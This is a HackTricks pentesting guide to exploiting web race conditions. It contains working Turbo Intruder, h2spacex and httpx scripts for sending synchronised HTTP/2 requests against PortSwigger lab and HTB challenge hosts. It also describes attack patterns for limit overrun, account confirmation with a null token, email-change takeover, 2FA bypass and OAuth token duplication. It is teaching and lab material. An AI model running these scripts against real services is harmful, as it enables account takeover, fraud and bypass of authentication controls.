Search K
Appearance
Appearance
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
Other ways to support HackTricks:
โ ๏ธ
For obtaining a deep understanding of this technique check the original report in https://portswigger.net/research/smashing-the-state-machine
The main hurdle in taking advantage of race conditions is making sure that multiple requests are handled at the same time, with very little difference in their processing timesโideally, less than 1ms.
Here you can find some techniques for Synchronizing Requests:
Preparation for Last-Byte Sync involves:
The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks.
Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing.
Frameworks like PHP's session handler serialize requests by session, potentially obscuring vulnerabilities. Utilizing different session tokens for each request can circumvent this issue.
If connection warming is ineffective, triggering web servers' rate or resource limit delays intentionally through a flood of dummy requests might facilitate the single-packet attack by inducing a server-side delay conducive to race conditions.
Extensions
-> Turbo Intruder
-> Send to Turbo Intruder
), you can change in the request the value you want to brute force for %s
like in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
and then select the examples/race-single-packer-attack.py
from the drop down:If you are going to send different values, you could modify the code with this one that uses a wordlist from the clipboard:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
โ ๏ธ
If the web doesn't support HTTP2 (only HTTP1.1) use Engine.THREADED
or Engine.BURP
instead of Engine.BURP2
.
race-single-packet-attack.py
script with something like:def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
This is the most basic type of race condition where vulnerabilities that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.
There are many variations of this kind of attack, including:
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or unintended machine substates. Hereโs how to approach this:
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
To Exploit:
Example:
Check this PortSwigger Lab to try this.
Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.
The idea is to verify an email address and change it to a different one at the same time to find out if the platform verifies the new one changed.
According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.
Check this PortSwigger Lab to try this.
If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.
Therefore registering an account and sending several requests with an empty token (token=
or token[]=
or any other variation) to confirm the account right away could allow to confirm an account where you don't control the email.
Check this PortSwigger Lab to try this.
The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
There are several OAUth providers. Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the client will need to permit your application to access some of their data inside of the OAUth provider.
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "Application <InsertCoolName> wants to access you information, do you want to allow it?"
authorization_code
โThe problem appears when you accept it and automatically sends an authorization_code
to the malicious application. Then, this application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) from the authorization_code
for your account. Basically, it will abuse the fact that you have accept the application to access your data to create several accounts. Then, if you stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid.
Refresh Token
โOnce you have obtained a valid RT you could try to abuse it to generate several AT/RT and even if the user cancels the permissions for the malicious application to access his data, several RTs will still be valid.
In WS_RaceCondition_PoC you can find a PoC in Java to send websocket messages in parallel to abuse Race Conditions also in Web Sockets.
Other ways to support HackTricks:
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today: